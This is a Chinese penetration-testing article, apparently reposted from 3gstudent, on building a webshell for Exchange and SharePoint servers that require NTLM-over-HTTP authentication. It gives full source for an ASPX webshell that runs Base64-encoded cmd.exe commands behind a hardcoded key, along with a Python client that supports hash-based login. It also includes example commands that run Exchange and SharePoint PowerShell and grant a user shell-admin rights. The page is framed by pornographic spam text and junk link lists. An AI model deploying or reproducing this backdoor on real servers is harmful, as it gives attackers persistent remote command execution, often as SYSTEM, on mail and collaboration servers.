成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

滲透基礎-支持NTLM Over HTTP協議的Webshell實現

開源
在某些環境下,訪問Web服務器的資源需要通過NTLM Over HTTP協議進行NTLM認證,而我們在這樣的Web服務器使用Webshell時,不僅需要考慮NTLM認證的實現,還需要滿足能夠在命令行下使用。

[[385434]]

 0x00 前言

在某些環境下,訪問Web服務器的資源需要通過NTLM Over HTTP協議進行NTLM認證,而我們在這樣的Web服務器使用Webshell時,不僅需要考慮NTLM認證的實現,還需要滿足能夠在命令行下使用。

本文僅在技術研究的角度介紹一種實現方法,開源代碼,分享腳本開發細節。

0x01 簡介

本文將要介紹以下內容:

  • 設計思路
  •  腳本開發細節
  •  開源代碼

0x02 設計思路

通過NTLM Over HTTP協議進行NTLM認證的Web服務器有很多,這里分別以Exchange和SharePoint為例

(1)Exchange測試環境

文件保存的絕對路徑:

  1. C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Autodiscover\test.aspx 

對應的URL為:

  1. https://URL/Autodiscover/test.aspx 

(2)SharePoint測試環境

文件保存的絕對路徑:

  1. C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\test.aspx 

對應的URL為:

  1. http://URL/_layouts/15/test.aspx 

訪問test.aspx時均需要通過NTLM Over HTTP協議進行NTLM認證

這里以一個支持cmd命令的webshell為例進行測試,webshell的地址為:

https://github.com/tennc/webshell/blob/master/aspx/asp.net-backdoors/cmdexec.aspx

如下圖

滲透基礎——支持NTLM Over HTTP協議的Webshell實現

這個webshell需要通過瀏覽器進行操作,首先完成NTLM認證,接著填入正確的Auth Key和要執行的cmd命令。

我們的目標是滿足能夠在命令行下使用,可以以此為模板進行修改,設計思路如下:

(1)execCmd.aspx

接收Form表單請求作為參數,對Auth Key進行驗證

如果驗證失敗,返回空結果

如果驗證成功,執行傳入的cmd命令并返回執行結果

(2)aspxCmdNTLM.py

命令行腳本

首先通過NTLM Over HTTP協議完成NTLM認證,這里需要支持明文和用戶口令hash兩種登錄方式。

通過Form表單請求發送Auth Key和要執行的cmd命令,接收cmd命令的執行結果。

execCmd.aspx和aspxCmdNTLM.py的通信內容作Base64編碼,在程序實現上需要考慮Base64編碼和解碼。

0x03 腳本開發細節

1.execCmd.aspx

使用Page_Load方法接收Form表單請求,其中data1用作Auth Key,data2用作cmd命令。

Base64編碼的實現:

  1. byte[] enbytes = Encoding.Default.GetBytes(string1);string string2 = Convert.ToBase64String(enbytes); 

Base64解碼的實現:

  1. byte[] outbyte = Convert.FromBase64String(string1);string string2 = Encoding.Default.GetString(outbyte); 

完整的實現代碼如下:

  1. < %@ Page Language="C#"% >< %@ Import namespace="System.Diagnostics"% >< %@ Import Namespace="System.IO"% >< script runat="server" >private const string AUTHKEY = "UGFzc3dvcmQxMjM0NTY3ODk";protected void Page_Load(object sender, EventArgs e)    {string data1 = Request.Form["data1"];if (data1 != AUTHKEY){return;}string data2 = Request.Form["data2"];byte[] outbyte = Convert.FromBase64String(data2);string payload = Encoding.Default.GetString(outbyte);string outstr1 = ExecuteCommand(payload);byte[] enbytes = Encoding.Default.GetBytes(outstr1);string outstr2 = Convert.ToBase64String(enbytes);Response.Write(outstr2);}private string ExecuteCommand(string command)    {try{ProcessStartInfo processStartInfo = new ProcessStartInfo();processStartInfo.FileName = "cmd.exe";processStartInfo.Arguments = "/c " + command;processStartInfo.RedirectStandardOutput = true;processStartInfo.UseShellExecute = false;Process process = Process.Start(processStartInfo);using (StreamReader streamReader = process.StandardOutput){string ret = streamReader.ReadToEnd();return ret;}}catch (Exception ex){return ex.ToString();}}< /script > 

2.aspxCmdNTLM.py

NTLM認證的實現可以參考之前的代碼:

https://github.com/3gstudent/Homework-of-Python/blob/master/checkEWS.py

  • 支持明文和用戶口令hash兩種登錄方式
  •  Form表單請求通過POST方式發送
  •  Base64編碼和解碼需要注意字符串的格式

完整的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/aspxCmdNTLM.py

  •  execCmd.aspx需要保存在Web服務器
  •  aspxCmdNTLM.py在命令行下執行,連接execCmd.aspx執行cmd命令并獲得返回結果
  •  aspxCmdNTLM.py支持明文和用戶口令hash兩種登錄方式
  •  對于Exchange服務器,對應的Webshell權限為System

如下圖

滲透基礎——支持NTLM Over HTTP協議的Webshell實現

可以直接調用Exchange PowerShell

命令示例:

  1. python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;;Get-MailboxServer\"" 

結果如下圖

滲透基礎——支持NTLM Over HTTP協議的Webshell實現

對于SharePoint服務器,對應的Webshell權限為用戶權限

如下圖

滲透基礎——支持NTLM Over HTTP協議的Webshell實現

可以嘗試調用SharePointServer PowerShell

命令示例:

  1. python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPSite\"" 

這里需要注意,用戶需要配置為能夠訪問數據庫才能夠執行SharePointServer PowerShell命令

查看可訪問數據庫的用戶列表對應的Powershell命令如下:

  1. Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPShellAdmin 

添加指定用戶訪問數據庫權限對應的Powershell命令如下:

  1. Add-PSSnapin Microsoft.SharePoint.PowerShell;Add-SPShellAdmin Domain\User1 

刪除指定用戶訪問數據庫權限對應的Powershell命令如下:

  1. Add-PSSnapin Microsoft.SharePoint.PowerShell;Remove-SPShellAdmin Domain\User1 -Confirm:$false 

正常的結果如下圖

滲透基礎——支持NTLM Over HTTP協議的Webshell實現

0x04 小結

本文以Exchange和SharePoint為例,介紹了支持NTLM Over HTTP協議的Webshell實現思路,開源代碼,分享腳本開發細節。

本文為 3gstudent 原創稿件,授權嘶吼獨家發布,如若轉載,請注明原文地址。

 

責任編輯:姜華 來源: 嘶吼網
相關推薦

2020-05-26 14:18:41

RPC協議NTLM

2010-05-11 20:17:23

NTLM認證協議

2021-03-03 10:13:23

IMAP協議讀取郵件滲透基礎

2014-06-05 10:21:29

HTTP

2020-06-17 21:39:11

HTTP協議服務器

2012-11-08 14:28:16

2016-09-09 01:14:17

2010-06-29 13:24:26

HTTP協議

2010-06-29 13:35:39

HTTP協議

2019-04-08 15:11:12

HTTP協議Web

2014-08-13 10:39:19

2010-06-08 10:36:14

HTTP協議基礎概念

2012-07-16 09:58:15

SPDY協議HTTP

2010-06-29 13:18:31

HTTP協議

2014-10-22 09:36:41

TCPIP

2019-06-12 16:16:58

微軟漏洞NTLM

2015-10-09 15:07:02

HTTP網絡協議

2017-05-26 10:35:13

前端HTTP

2010-08-03 22:09:16

2020-11-16 16:13:06

網絡安全互聯網滲透測試
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 天天躁日日躁狠狠的躁天龙影院 | 国产精品一区久久久久 | 91成人在线视频 | 欧美激情欧美激情在线五月 | a久久| 在线国产一区 | 久久久久久久久久久久一区二区 | 粉嫩一区二区三区国产精品 | 国产丝袜一区二区三区免费视频 | 久草在线青青草 | 欧美精品片 | 91精品国产乱码久久蜜臀 | 亚洲一区中文 | 国产三级电影网站 | 成人99| 色婷婷国产精品 | 91在线视频播放 | 一区久久 | 一区二区三区视频在线 | 久草新视频| 日韩视频在线一区 | 国产激情91久久精品导航 | 中文字幕在线三区 | 国产美女自拍视频 | 狠狠躁躁夜夜躁波多野结依 | 免费视频一区二区 | 天天看天天摸天天操 | 水蜜桃久久夜色精品一区 | 国产成人精品午夜视频免费 | 亚洲最色网站 | re久久| 欧美日韩在线免费观看 | 国产一区不卡 | 在线播放亚洲 | 国产人成在线观看 | 一级黄色毛片免费 | 高清一区二区 | 国产欧美视频一区二区三区 | 久久久久久亚洲精品 | 欧美日韩在线免费观看 | 狠狠操在线 |